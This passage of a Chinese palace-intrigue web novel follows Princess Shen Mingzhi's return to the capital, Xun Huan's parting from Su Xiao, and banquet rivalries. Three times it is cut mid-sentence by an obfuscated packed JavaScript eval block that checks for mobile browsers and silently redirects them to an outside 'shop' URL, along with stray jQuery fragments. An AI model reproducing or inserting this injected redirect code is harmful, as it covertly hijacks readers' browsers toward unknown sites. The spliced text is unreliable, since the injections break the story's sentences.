沈明枳略一走神,回神就听话头已经转了,居然被初生牛犊不怕虎的端王沈明戒扯到阎野放身上去了。阎野放也不避讳,大剌剌地朝沈明戒一拱手:“回王爷,确有此事。” 坐着的方继昌、王立镛和江聿洲俱是一脸震惊。 阎野放坦白:“老夫少年时就极喜音律,他乡得遇知己,着实是意外之喜。” “阁老既然喜欢,那为何要推拒?” 王立镛也附和:“是啊,她虽擅音律,但身在贱籍,绝无出头之日,老大色衰也不过嫁与商人做妇、官人做小,若遇人不淑更只能香消玉殒,得遇阁老这样知己良人是上辈子修来的福气,阁老纳她,这是救她于水火啊。” 方继昌道:“容下官多嘴,阁老只有一女,膝下仍空,若此女能为阎家开枝散叶,是她的福气,也是阁老的幸事。阁老思虑周密,李知府等酬重金为她赎身,再赠与阁老,会被有心之人说作行贿受贿。可心苟无暇,何畏人言?圣上明鉴,亦会宽心!” 沈明枳看向了沉默不语的阎野放,阎野放盯着手边美人瓶,瓶中花枝袅娜,似由此得窥漫山烂漫,芬芳满怀。他长叹一声:“诸君请看这花,够美吧?” “我等看了这花,也觉得春光仍在,倍感欣喜。可花儿本开在天地之间,自有自的天地,也许是驿外断桥边,也许是千尺危崖处,折花之人也不曾想过要问一问她是否愿意呆在这狭小的花瓶里直到枯萎,就把她折了下来,她本来能够开上几十年生生不灭,却要在这短短几十天里丧尽青春容颜。” 阎野放看向沈明戒,“喜欢是一个人的事,可因为喜欢而漫漶出来的无数事却会牵扯不知多少人,臣不敢也不能替旁人做旁人的决定,冷暖自知,臣不敢自说自话。且儿女事天注定,子嗣重担也从不在臣的肩上,到了这个年纪,该看开了,得一知心人相伴,为圣上百姓尽忠,女儿闲时问候、外孙绕膝热闹,这便是臣少年时最期盼的晚年光景。臣,心满意足。” 众人都愣在原地,望向这个两鬓斑白的老人。 堂内陷入了久久的沉默,直到夏至来禀,说是郇寰有急事回了臬司衙门、晚上不来了,众人这才起身随阎野放一并去偏厅用餐。 沈明枳辞过众人,在厢房见到了早就等得抓耳挠腮的孙先生。他连礼都顾不得行,就将预先写好的纸张一张张接连递了过来。 沈明枳只看了第一行字,脸色就彻底阴沉下来。 移花接木。 郇寰极有可能请了这位女仵作验尸,然后让别人替她说话。 他的胆子,可真大啊。 孙先生将摆在桌上的那本旧书翻开,呈到沈明枳面前,里面还夹着一张字迹潦草却仍旧潇洒的纸片,很有年头了,不是孙先生的笔迹:“按书上配方制毒,颜色不对,药效过猛,服用即时毙命,故乃废方。” 瞬间,沈明枳背脊生寒。 按书上所说,这种毒叫做“留命”,孕妇服用即可打胎,腹中若有双子,则留一去一,常人服用则一命呜呼,故名留命——留下一条性命。而照这字条所说,书上记载的配方是废方,与应有的药效对不上。 孙先生示意沈明枳继续看他写的字:“此毒必然经过改良。批注乃吾师温夫人亲笔,很多古方都是废方,且吾师告诫:废方乃西南十万大山部落中巫医所有,邪门,鲜为人知,必敬而远之,若苏氏仵作真知此方……” 话戛然而止,然其中毛骨悚然意尽在不言外。 这究竟是什么人? 那种捉住郇寰把柄的窃喜为之一扫而空。 钦差北上启程那日,苏州城里传来了姜二夫人与姜世琛和离的消息,北上队伍收拾整齐,苏州知府李增祥率当地官场上下官员亲送于望齐门外,声势浩大,自此之后城内一切都将尘埃落地,风波渐平。 而郇寰已确定要继续南下杭州办案,他只在望齐门外,与沈明枳别过一礼,一句也没有多说。他本该直接启程前往杭州,可他一人一骑折返城角,亲自叩响了荒园柴扉。 给他开门的不是肖婆子,而是苏霄。 “萧郎君怎么来了?” 郇寰还没迈进院子,就看见院子里堆满了各种箱笼,但屋内静悄悄绝无人语,只有苏霄布裙荆钗,婷婷立于眼前。她察觉了郇寰的目光,边将人让了进来,关好门,边解释:“苏霁来过,她才与姜世琛和离,苏州呆不了,她要去岭南,舅母陪她去。” 郇寰跟着她进了屋,忽然问:“你想去吗?” 苏霄步子一顿,翻开立柜要去找茶叶杯盏,还没来得及回应,郇寰就掀袍在桌旁坐了下来,“我一会儿就走,不用麻烦了。” 苏霄默默攥手,关上柜门后转身走到桌边,正对上郇寰的目光,她即刻挪开视线,在四方桌子旁、靠近郇寰一边坐了下来,“我不想去岭南。” “肖舅母走了,苏霁走了,留你一个人在苏州……” “如何不行?”苏霄扭头看他,“我一个人照样行。” 郇寰只看过她眼里的坚定便垂下眼,沉默地盯着木桌,透过桌板的缝隙无意看见,苏霄今天扎了一条玉石蓝的裙子,裙摆遮着她的鞋子,拖在地上,已经沾上了尘土、浸上了水渍。 他蓦地想到,今日沈明枳也穿了这个颜色的一条裙子。 她们两个,分明是天上地下般截然不同的人物,却让郇寰莫名熟悉。 她们都有一种不可亵渎的出尘,但苏霄是餐风饮露的脱俗,是粲然盛开于藉地旷野的脱俗,可以驻足远观,也可以采下亵玩,所作所为全在于观者的心浊与否。若一定要把沈明枳也如此类比,那她周围必然荆棘丛生。夜幕低垂,能见到她已实属不易,跨过这样的壁垒又艰难无比,更兼望着她生不出旖旎之心,直如仰瞻庙堂,严正肃穆,摸不到一片衣角,摸到了又觉得难以置信。此时的所作所为不取决于自己,而是她。 郇寰将越发混杂的念头一一掐灭,随即抬眼说道:“也行,若有什么需要及时与我说吧。” “你也要走了。” 她的声音平平,就在刻板地叙述事实,可今日的郇寰足够敏感,听出了那种惋惜。 “是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13514321|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,浙江有案子我得过去,回来时还会经过苏州。我给的承诺依然作数,你若想好了到时候告诉我就行。” “我已经想好了。” 郇寰一愣。 “我也想离开这里。” 他顺着她的目光,环顾这个朴素得称得上破落的屋子。可屋外园中,花木丛生,迎着近午的暖阳正肆意快活地生长。后院里养的乳犬轻轻呜咽了几声,笼中鸡飞,墙头雀落,一只蚂蚱跳上了正在慢慢腐烂的门槛。这里有风,有青翠银杏树上传来的参差蝉鸣,一阵强一阵弱,一声起一声落,如同一道绵延起伏的波,携着热烈与清凉扑面而来。 她想离开这里。 “去哪里?” “哪里都行。” “岭南。” “唯有岭南与苏州不行。” 郇寰想问为什么的,但他没多问,“好,那你自己想好地方,想好了就告诉我。” 苏霄点头。 两个人同时陷入了一种短暂的沉默。 “过几天会有京师刑部的仵作来,我想麻烦你,指点一二。”郇寰想侧过身朝她拱手揖礼,却突然发现这桌子狭小,他们居然坐得这么近,近到这短短的距离连他一臂展开都容不得,故而他起身,郑重示礼。 苏霄略略惊诧,起身的时候,顿觉心中有什么沉重的东西狠狠坠落,“不用客气。” 屋内没有点灯,垂垂夜幕下只有一钩弯月投下稀疏的一片皎洁。这一片皎洁有些吝啬,如同乡绅肥肿的十指间随意的一捧白米,沙沙流动着漏了下来,一粒粒落在了碗里,却成了舍不得囫囵吞下的珍宝。 “霄霄?我回来了!”苏霁的声音响得老远,可等到她与肖婆子一并进了屋,也没听见苏霄的半点动静。 “霄霄?”苏霁一把拽住了坐在后门门槛上的那个女子,见苏霄安然无恙,只是困得厉害,起伏不定的心终于平稳下来,“怎么了霄霄?” 肖婆子点了灯,忽见桌上放着一只深月白的钱袋,一开口袋,里面居然是满满的碎银和银票,“这是什么?霄霄,这儿哪来的这么多钱?” 苏霄哑着嗓音说道:“我攒的。” “你攒的?”肖婆子不可置信地将银票翻出来数了数,苏霁则是长长叹息一声:“你那萧郎来过了吧?” 苏霄不答,只扶着门框站了起来,有些一脚深一脚浅地要回屋。苏霁还是忍不住了,追上住一把拽住了她的手腕,“霄霄,算了吧,你跟我一起走吧,回岭南,如果你不想去岭南,那我们就去别的地方……” 苏霄只是摇头。 “苏霄!”苏霁在姜家装惯了温柔贤淑,骤然恢复了本性自由,这么大声失礼地喊人,那种多年礼教的束缚在潜意识里还会让她觉得不够自在。 “你别想他了!你不是已经知道了么,他已经成婚了,这世上也本就没有什么‘萧郎’!他身上有爵,又有官身,还娶了公主,什么苏家、姜家哪个人不对他礼让三分?这是云泥之别,霄霄!不要再想他了,你看看你自己都成了什么样子……” 苏霁是真的担心,苏霄也听出了她话中的泪意,故而她扯出了一个笑脸来,“我没想他。” “别来蒙我!” “真的。”她笑起来的时候,真有能和头顶月华争辉的惊艳,可明月蒙尘,她笑得越动人,苏霁心里越难受。她无言看着苏霄越笑,眼中流出的泪就越多,多到自幼长在姨娘眼泪汇成的水乡泽国中的她,都觉得自己从未见过这么多泪水。 苏霄终于忍不住扑进了苏霁的怀里:“苏霁,为什么会这样?我为什么要回来?” “你如果要走,现在也来得及。” 苏霄只是拼命摇头。 苏霁知道,自己没有理会她真正的意思。可这丫头究竟想说什么?她既不后悔当年南下送肖姨娘归葬家乡时在泥地里救了满身是血的郇寰,就此放弃远走天涯、返回苏州牢笼,那她还在痛惜憎恨些什么? “霄霄,别哭了,都会好的。你看我,我的姨娘姓齐,所以我叫苏霁,可‘霁’是什么意思?云销雨霁,彩彻区明,你看,我现在终于脱离了苦海,终于能过自己的日子了,不就是雨过天晴了吗?你的姨娘姓肖,所以你叫苏霄,‘霄’是什么意思?‘寄言燕雀莫相啅,自有云霄万里高’,霄霄,都会好的,你还要上九天凌云,一切都能如愿的。” 24. 第二十四章 问国安 自明德门入化隆城,于朱雀大街畅通无阻,再经光武门直入皇城,最后在承德门外,下撵步行。圣上破格在承天殿前率百官亲迎,满朝文武,俱静恭请。 这是沈明枳第一次,戴九翚四凤冠,服青质绣翟、文雉蔽膝、玉革大带,自承德门,由礼官唱和,随衮冕加身的端王沈明戒敬步入城。 皇子弱冠、纳妃方可正式受封亲王,沈明戒还没到这个年纪,却已配五彩冕旒、青衣纁裳,九寸二分五厘的玉圭连老九曹王都没拿过,业已在他的手心。 按《大楚礼》的规矩,“亲王冕服俱如东宫”。 沈明枳从未仔细见过故太子着衮冕的样子,陪祀天地、社稷、宗庙及大朝会、受册,这都不是她一个女孩能参加的场合,而东宫纳妃时,她年纪又小,又光顾着看新嫂嫂梅问香去了,哪记得太子的模样。 然则此时:玄衣五章,龙在肩,山在背,火、华虫、宗彝在袖;纁裳四章,织藻、粉米、黼、黻。白纱中单,黻领。蔽膝随裳色,织火、山二章。革带,金钩苾,玉佩。绶五采赤、白、玄、缥、绿织成…… 单薄的少年已渐长成,顶得起九旒冠冕,撑得了玄衣纁裳,直给人旧人如故、岁月不逝的错觉。承天殿还是六年前的巍峨模样,圣上自从去岁南海道是非迭起、诸王推诿闹心过后、大病一场日见硬朗,她踏上金明桥时的心境却远不如前。 这是用命,换来的一次“逾制越礼”。 这辈子也只有这一次。 也只有这一次,沈明枳终于明白,幼年在东宫,被故太子抱于膝上胡乱临写的“天地”“社稷”“宗庙”“家国”,究竟分量几何。 重冠深衣,艰难下拜,叩问国安。 跪谢圣恩后,沈明戒随百官直入承天殿,最后再随圣上敬拜皇庙;沈明枳则由充任礼官的宗人令亲自扶起,由庞大总管亲领,在百官注目中走下殿前广场。她进不了承天殿,也不能入皇庙叩敬祖宗,只能一路朝后廷而去,到中宫坤宁前的太极殿,问安皇后。 她也不知生母何人,从小就被抱到坤宁宫交由皇后抚养,故而皇后虽非生母,却有养恩。养恩大于天,沈明枳一直是这么以为的,故而礼必周道,必让儿女俱丧的皇后得承欢膝下之喜。 然则今天是大日子,有礼官、宗亲、宫妃在侧观礼,一句废话也不能多说。好在眼下的礼节尽数了结,圣上将在入夜天暮之时大宴群臣,到时候还能再见。 得了御赐步辇,沈明枳坐着步辇从西直门出了内城,直驱西直门甬道自朝阳门出外城,这繁琐的一圈礼节总算是圆满结束。 朝阳门外的太阳晒得人心慌慌。 沈明枳谢过一路相送的庞大总管,下了步辇,扶着沉重的冠发,最后遥望一眼山峦般连绵不断的楼台宫阙,似在皇城的这个角落得见重山叠嶂之后、镇守皇陵的紫微宫。 故太子就葬在那里,他也曾代帝南巡。 那时候沈明枳很小,不知道太子南巡究竟是要巡些什么,就见皇后成天滴泪、食不下咽,以为太子是去闯刀山、下火海了。而今自己刀山火海地走了回来,在太极殿上见过皇后盛妆之下的泪痕,忽觉自己的不孝。 如若太子还在,也要怪自己任性吧。 去不了皇庙,礼衣在身,沈明枳也不能就此朝北叩拜以告亡灵,只能在心里默默告罪。 如若太子还在。 沈明枳边走边慢慢叹息。 如若太子还在——南海道这本烂账早该算清,这些遗留问题早能解决,怎需要她带着舞勺之年的戒子去掀棋盘。 当年圣上还只是亲王的时候,依靠着世家的鼎力支持,披荆斩棘,踏着兄弟的尸体最终登极。南海道第一大世家乔氏作为皇后母家,自然在论功行赏时占了大头。但人事变迁,随时俯仰,在圣上的授意下,乔家在多番势力一年再复一年的打压之中逐渐衰落,南海道其他世家也趁机做大,最终造就了多方割据对峙的混乱局面。 南海道的这盘棋,本由远在化隆的圣上亲自设计,当地世族权力有限、不顺民心,照理说也不会脱缰到哪里去。但食髓知味、贪得无厌,圣上用于掌控当地局面的最关键的棋子——南海道布政使王叔远——失了控。 可巧西北边塞狼烟起、胡马嘶,朝廷被战事缠得脱不开身,圣上就只能委派乔太子南巡稳住时局。太子也不负众望,可事出紧急、时间紧迫,又没有十成十的圣心支持,故而太子对南海道的处置也只能是隔靴搔痒、扬汤止沸。 随即,太子死后,乔家颓势不可抑制,天高皇帝远,朝廷又打仗,王叔远拉拢豪强、自成一派、意欲造反,积怨终于在升平二十二年春夏之际爆发。 若太子还在,长幼有序、嫡庶有别,南巡大任自然只能由他承担,哪里会有去岁的一场互相推诿、侍疾借口的闹剧?哪轮得到她,所谓的一介女流,来挑这样重的担子? 若太子还在,这辈子大抵都要呆在这样瑰丽的牢笼之中,做一只逗趣的雀儿、讨好的鹇儿,哪得见生民蝼蚁、河汉无极,在南海道飞得恣意嚣张。 但若真能这样,沈明枳应该也是愿意的。 朝阳门的府军卫不认得沈明枳的脸,但认得她的凤冠翟衣。可沈明枳出了朝阳门,却认不出自己府上的马车,就见张牙舞爪停在中央的的花雕香壁马车,上面大喇喇挂的是临川郡主的牌子,而自己的马车呢,装配已然是给足了皇家的气派,和这辆金光闪闪的车架相比,简直寒酸得穷酸。 沈明枳挑眉。 临川郡主是鲁国长公主的独女,从小性子乖张,当娘的鲁国长公主束手无策,于是圣上就让临川和宫里最“性情柔和”、最“知书达理”的十殿下——当年的长平公主、今天的兖国公主——一块儿读书作伴。 据说鲁国长公主头一回听见圣上的主意,内心忐忑,担心女儿会把这般听话懂事的沈明枳也带坏。不过临川人小主意大,发现自己和沈明枳不是一条道上的,便撇下了沈明枳和宫里与自己性子相投的公主们混到了一起,这让沈明枳拍手叫好。结果呢,在别人那里跌了跟头、吃了亏,临川转而又要和自己好上,好上就好上了,还成天给自己惹麻烦。 不过姑娘家长大了,倒是比小时候出落得端庄了些许,举止之中总算让人看见了“分寸”二字的影子,就是临川府卖田一事,她帮着鲁国长公主做事做得很失“分寸”。 大半年没见,沈明枳也莫名有点想她。 是故,郁郁了许久的沈明枳,在自家马车里卸了沉重的头冠,兴冲冲地上了临川的马车,没想到劈头盖脸就是一顿数落,数落数落着,临川的眼泪就不要钱似的掉了下来。 在宫里听惯了各式各样的嘘寒问暖,临川当真是每回都能给她别出心裁的惊喜。 “你真的是……太坏了,说走就走……”临川边蓄着眼泪,边盯着沈明枳这身翟衣挪不开眼,低声嘟囔了两句:“我还没穿过这样的衣裳呢,不过鹇儿穿着最好看了……” 随即她的思绪绕了回来,因着向来没谱的临川也知道这身礼服贵重,便按着自己不安分的爪子没去碰,只焦急地抓着沈明枳的手,往小臂上撸袖子,作势要看沈明枳身上是否留了什么伤。 “我这不是好端端地又回来了么。”沈明枳看得眼皮直跳,还要装得从容地、不着痕迹地将自己的手抽回来,无奈地安慰几近情绪奔溃边缘的临川。 临川抽着鼻子,“当时我听见他们说你生死未卜……”她一句话还没说完,整个人又再度哭了起来。 马车还没驶离皇城警戒,车里就哭哭笑笑、笑笑哭哭,临川精疲力尽了,沈明枳是连死了的心都有了。 临川忽然想起一件事,忍不住爬起来开始告状:“你家的那个郇海山真的是不当人!” “注意言辞。”沈明枳觉得“你家”这两个字太过刺耳,可惜临川领会错了意思:“你还护着他!你知道他多可恶吗?他自己提前知道了你平安的消息捂着不告诉别人,害得我四处求告,老脸都丢尽了。” 为表示她临川郡主真的是丢脸丢大了,她拍了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13514322|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍自己的脸蛋,结果自己没控住力,傻乎乎地把自己拍疼了。 沈明枳又止不住地为她这番难以理喻的举动挑眉。 虽然沈明枳很乐见郇寰在临川这里“声名狼藉”,可出于公道,对于此事不得不为他辩驳两句。 在岭南遇险时,沈明枳身边只有戒子和豢养的暗卫,她自己死在他乡不要紧,反正当时那个状况也几乎是活不成了,连累了戒子却是罪过,因此沈明枳将所有人手都指去保护了沈明戒,暗卫也不负所托平安将人护送出去。 于是乎就只留下沈明枳一个人在荒山野岭里躲躲藏藏,趁着血还没流尽,应当是远在化隆、日日思念的亲人保佑她遇见了上山采药的孙先生,捡回了一条性命,等她联络上漫山遍野寻找自己的阴阳卫时,已经过去十五天了。 而郇寰的消息来源,一是南下钦差递送回朝廷的公文,二就是他安插在队伍里的亲卫。他的亲卫再怎样能干也比不过训练有素的阴阳卫,且阴阳卫在明他在暗,做事束手束脚,等他的消息递回京城,临川早就能从宫里得知沈明枳平安的消息了。只是沈明枳因着岭南的局势和当时的谋划,刻意让阴阳卫按下不表,故而等郇寰得到消息,阴阳卫的急报堪堪抵京。 但她忽然又想起了夏至的“嘲笑”,万言万当,不如一默,她还是不要多说。 见临川气得厉害,沈明枳心下无奈,又倍感温暖,正了正有些发歪的姿势,捧住临川的脸蛋:“你求谁了?来,我帮你找脸子。” 一时间,临川胸闷气短,旺得能燎翻天的火气没地方发,骤然听见车外马蹄疾驰,有如平地巨雷,自家的车没停稳就被急掠而过的马惊了一惊,车内的两个人都是一个踉跄。 于是,发誓要找回场子的临川一把扯开垂帘,正打算中气十足地朝“登徒子”怒吼前,“登徒子”似乎也是觉得惊了别人的马车一走了之于理不合,就调转马头又跑了回来,与探出头的临川四目对视—— 狭路相逢勇者胜。 临川败了。 沈明枳很稀奇,又觉得像只斗败了的公鸡的临川很丢人,一把把她扯到了身后,自己凑到了窗前,看见劲装的凌厉男子不由得诧异:“凌副使?” 凌云重一扫沈明枳的装束,下马施礼:“臣凌膺见过兖国公主——临川郡主,臣惊扰了殿下的马车,还望殿下恕罪。” 沈明枳一边消化着临川的反应,一边朝凌云重客套道:“凌副使太客气,公事要紧,切莫拘泥虚礼。” 凌云重再一礼,翻身上马率领一干人等就此离开,临走,还不忘扫了躲在沈明枳背后颤巍巍的临川一眼。 鹰隼一般的眼睛,让沈明枳都有几分汗然。 “你得罪他了?” 临川抿着唇,见沈明枳挑眉的样子似是看见了什么天大的笑话,不由得更加焦躁,犹疑着开了口:“我找他帮忙的……” 说实话,沈明枳一直都很能喜怒不形于色,这回,怀疑自己的耳朵聋了的她破功了,忍不住揪上临川的耳朵训斥:“你喝高了还是兽性大发?找谁不好找锦麟卫帮忙?舒坦日子过惯了想下地见见世面?” 临川逃了她的掌控,自暴自弃:“诶,我当时不是心急嘛!化隆到南海道十万八千里的,我总不能飞过去吧!什么消息也得不到!气死我了!反正最后忙也没帮成!我又不欠他的!” 沈明枳抓住临川乱挥舞的手,口中似含了裹着钉子的蜜糖,“那他的眼神又是怎么回事?” 虽然锦麟卫是国朝十二亲军卫之首,和阴阳卫、长缨卫并称上三卫,恶名远播,凌云重这个副使也不好惹,但凌云重上头还有指挥使压着,锦麟卫们也不是无法无天横行京城的。 按照临川的脾性,连锦麟卫指挥使肖执真她都能破口大骂,还会怕一个区区副使?她怕凌云重已然是个天大的笑话,凌云重看她的眼神有异更是八百年难见的奇观。 临川又开始抿唇,若不是手都被沈明枳控制住,下一步就是很没风度地啃指甲了,“我我怎么知道!” 25. 第二十五章 一团糟 凭着多年来对临川的了解,沈明枳断定这里面必然发生了些不可告人的事情。她又打量了临川一遍,回想了一些她能干出来的荒唐事,心里觉得七七八八差不了多少了,也不打算做狼心狗肺的人,于是拍拍她的背宽慰:“下回有事,找阴阳卫,姓窦的小子是个实在人,不帮也不会惦记上你;实在不行,长缨卫也可以顶一顶,江指挥使也是个不错的厚道人。” 临川气不打一处来:“如果阴阳卫中用,还会让你身处险境吗!至于长缨卫,酒囊饭袋,还以为是当年的长缨卫?” 沈明枳扶额。 临川说话最不着边际,但这次说对了一个点:长缨卫不再是当年的长缨卫,不然六年前还在兵马司守皇榜的江聿洲如何这么快就直升正三品的长缨卫指挥使? 锦麟卫和阴阳卫都是皇帝心腹,长缨卫则是太子亲兵,太子一死,长缨卫守着偌大的东宫,指挥使和指挥副使轮换远赴西北,精锐都被其他几亲卫挖走,士气一如那空荡荡的东宫日薄西山。 回府大睡了一个下午,沈明枳掐着点进宫,结果在东直门巧遇了曹王老九沈明伐。不对,今天上午在承天殿上,原本年初就该受封开府的曹王老九和南巡归来年仅十三的端王沈明戒一同受封,赐了宫外府邸,现在已经是有了实封的秦王老九了。 莫大的笑话,莫大的荣誉。 沈明枳循着礼节朝他示意,他亦回礼。 他只比沈明枳大三个月,打小两个人说不上合拍,但随着年纪渐长,沈明枳的玩心加重,兄妹俩玩还是爱一起玩的,斗鸡走狗、跑马打球,不分伯仲,只不过沈明枳是女儿身,行事得低调,沈明伐就没这么多顾忌。 说起来,作为从小玩到大的同龄人,往日他们两个相处要比沈明枳同戒子的相处更加自在轻松,寻常见面总要互相打趣两句,就算是往对方的心窝里插刀也都能笑而不怒,但这回两人都有了种猫捉耗子的别扭。 沈明枳眼睛一扫他的来向,“九哥从三法司来的?” 老九尬笑:“妹妹好眼力。” 化隆的皇城分内外两城,内城分前廷和后宫,外城即为东宫和诸司办公场所。而郇寰供职的刑部虽属六部,但却不和吏、户、礼、兵、工五部共同坐落于外城东部,而是和大理寺、都察院共同位于五部西侧,中间以东直门甬道相隔。 今夜圣上定在宫前殿大宴群臣,也没有哪个人敢在皇城里绕路,最明智的选择是从西边的广运门或者东边的延喜门进。走广运门就要从顺义门或者崇文门入外城,很方便住在皇城西边的世家清流;而像沈明枳这种住在东边的,大都会选择走正阳门入外城,少有想不开的会走东长安门去与五部衙门打照面的,更少有脑子发抽的选择走东南面的启明门。 因为入了启明门就进了东直门甬道,左边是大理寺和刑部,右边是都察院,但凡是个正常的都不会觉得和三法司抢路走会是多好的体验。故而东直门甬道上除了三法司的官儿,见不到闲人,立于东直门前,孤零零从西拐来的秦王老九就如鹤立鸡群般十分显眼。 沈明枳斜斜扫了一眼三法司的方向,想起了介含清榜下捉婿的旧事,很揶揄地笑他:“西台可不是个消磨光阴的好地方。” 在回化隆的路上,沈明枳总算是打听清楚了介含清的坎坷仕途。 原来当年要把女儿嫁给他的楚姓富户,就是当今吏部考功清吏司的五品郎中楚文杰,而这楚郎中,则是当今吏部尚书林振江的女婿。也难怪当年楚文杰还没当上吏部郎中时,家里就在吏部很有门路,也难怪介含清在得罪了楚文杰后,第一年年末考评就得了下下等,被一纸公文贬出了化隆,就此沉浮起落,归来仍是个七品御史。 亏得介含清跟着他因公殉职的老上司丰德馨来南海道闯了一次,也亏得他命大活着回来了,现在已经连升三级,穿上了右佥都御史的四品绯袍,已然压到了五品郎中的楚文杰脑袋上,且就算楚文杰是专管考绩的官儿,也不敢对圣上眼前的红人、都察院的新秀、实权次辅护着的人,妄加报复。 介含清是熬出头了,秦王老九大抵也得过去道一声贺,重新联络联络这救命的恩情。 但明显的,沈明枳话中所指不限于此。 老九刚想干笑两声糊弄过去,就见沈明枳毫不收敛地瞥了一眼他的左腿,故作真诚地开口关心:“九哥的腿已经大好了吗?” 南巡的风声刚露出来,诸王就找了各种借口搪塞,老九算是最惨的,手上无权无势,也没有门客给他纵横谋划,且宫里有暗示,是想让他这个打小在花街酒肆、赌坊马场纨绔似地长大的皇子去当南巡钦差的主使。 没办法,还在各种宴会上胡吃海喝的老九不想也不敢去南海道,只能一咬牙铤而走险。也不知那天是谁家的席面,沈明枳也在,就听说曹王殿下吃醉了酒,居然从二层楼高的阁子里失足跌了下去,摔断了腿。 二楼摔不死人。 沈明枳又想到了苏州旧事。 老九只能干笑:“多谢妹妹关心,已经无碍了。” 沈明枳笑着应了一声,兄妹俩鲜见地一路无话。 从小到大养尊处优的老九会不想去南海道吃苦,沈明枳可以理解;过惯了太平日子的他会不敢去,沈明枳更加理解。 南海道是鬼门关,然俗话说,富贵险中求。 久不得志的介含清得了晋升,老早递了辞呈想告老还乡的阎野放终于等到了积灰一年的回复,沈明枳得了赏赐和体面,戒子一跃受封成了晋王,王立镛、方继昌更是前途无量,除了江聿洲和窦宇,因着在南海道“护卫不利”吃了圣上走过场的训斥,回了衙门还当他们的指挥使,几乎每一个活着回来的人都得到了褒奖。 是烈火烹油、鲜花着锦,也是凤凰涅槃、向死而生。 而这样的盛况里,原本该有他秦王老九的一份。 但他不敢要。 他不敢要圣上的看重,也不敢有任何亲近的党羽,更不敢要无边的富贵和交口称赞的名声。他怕死,怕被那些大权在握、对储位势在必得的哥哥们弄死。 沈明枳本也该替戒子担心的,但她嫁给了郇寰,有了赵王的庇佑,晋王立的功,最后都能通过郇寰的这条裙带关系算到赵王头上,魏王、燕王、吴王不敢动他们,赵王一派还要拼命保护他们。 南海道是鬼门关,但凡能活着回来都已经是上辈子积的福气,不死也废,不废也残,不残也病。晋王年幼没有势力,她沈明枳又是个女子,其实于局面没什么影响,圣上总不能因此加封她当什么皇太女的荒唐东西。 因此,如果沈明枳他们死在了南海道,无关痛痒;如果他们回来了,对于赵王来说可以理解为如虎添翼。而对于魏王他们,长远地看,赵王就是在养虎为患:晋王年轻自立,在圣上那里分了赵王的圣心,与日推移,亲兄弟之间尚且会因为猜忌萧墙祸起,何况是不同肚皮里出来的赵王和晋王,内斗一生,旁人再火上浇油一番,终至土崩瓦解、星流云散。 沈明枳早料到了今后处境,返程一路上也做好了自我建设,但现在,却生出了一点后悔。 福气是个玄乎的东西,运气也不是永恒的。 如果有朝一日…… 她将杯中的茶默默饮尽,整理好脸上的笑容,打起精神。 觥筹交错,沈明枳虽觉疲惫,却不感厌烦。因为人情世故,极其费力,也极其有趣。 譬如这一次,一众或出身不凡、或嫁得不凡的女眷将她团团围住,没人敢劝她的酒,但无人不想和她打个照面,说上几句闲极无聊的废话。 沈明枳笑盈盈照单全收,想起了前些日子接到的暗卫来信,环顾一圈,意料之中地没看到想见的人,于是朝一众翘首以待的老、中、小女人问道:“咦,怎么不见宣国姐姐?” 侍立在一旁的几个年轻夫人修为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13514323|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尚浅,三三两两凑在一起的闺阁小姐功夫不到家,听见兖国公主的关心之问,面面相觑,露出难以启齿和讳莫如深的难色。倒是被问及的宣国公主的弟媳、赵王妃窦晴柔温温柔柔、大大方方地迎接了所有风雨:“瞧我这记性,宣国染了风寒,在城外庄子静养,还嘱托我要替她向十妹妹问好。” 沈明枳听着窦晴柔的胡说八道,自已也胡说八道起来:“原来如此,难为宣国姐姐在病榻上还惦记着妹妹,妹妹实在是……” 临川坐在一边,荡着杯中的清茶,闲极无聊地低声附和道:“是啊,染了病要修身养性呢。” “是啊,病榻上还惦记着当妹妹的招惹了几个俊俏郎君呢。” “是啊,全天下当妹妹的都要自叹弗如呢。” 申不极的夫人辛莘掩唇,用所有人都听得见的嗓音“轻声”打趣临川:“你净胡说八道些什么呢!” 临川“啪”的一声放下这价值不菲的杯子,边笑看向刀枪不入的窦晴柔,边很是无所谓地说:“是啊,我从小最爱胡说八道了,大家听了逗个趣儿。” 几个夫家向来与赵王一派不亲近的贵妇人互相挤眉弄眼,觉得既刺激又新鲜,都迫不及待地想回家大肆宣扬一番。 长宁是宣国的妹妹,比宣国小了不止一轮,但从小和这个姐姐臭味相投,一咬牙,就差一拍桌子一杯水泼临川脸上,生生被窦晴柔按了下去,但一双杏眼直朝还在戏谑风趣着的临川和辛莘喷火。谁料临川不愿罢休,硬是要拱火拱得再旺一点,“长宁,你眼睛怎么了?马上都是要为人妻为人母了,别落了残疾传给孩子啊。” 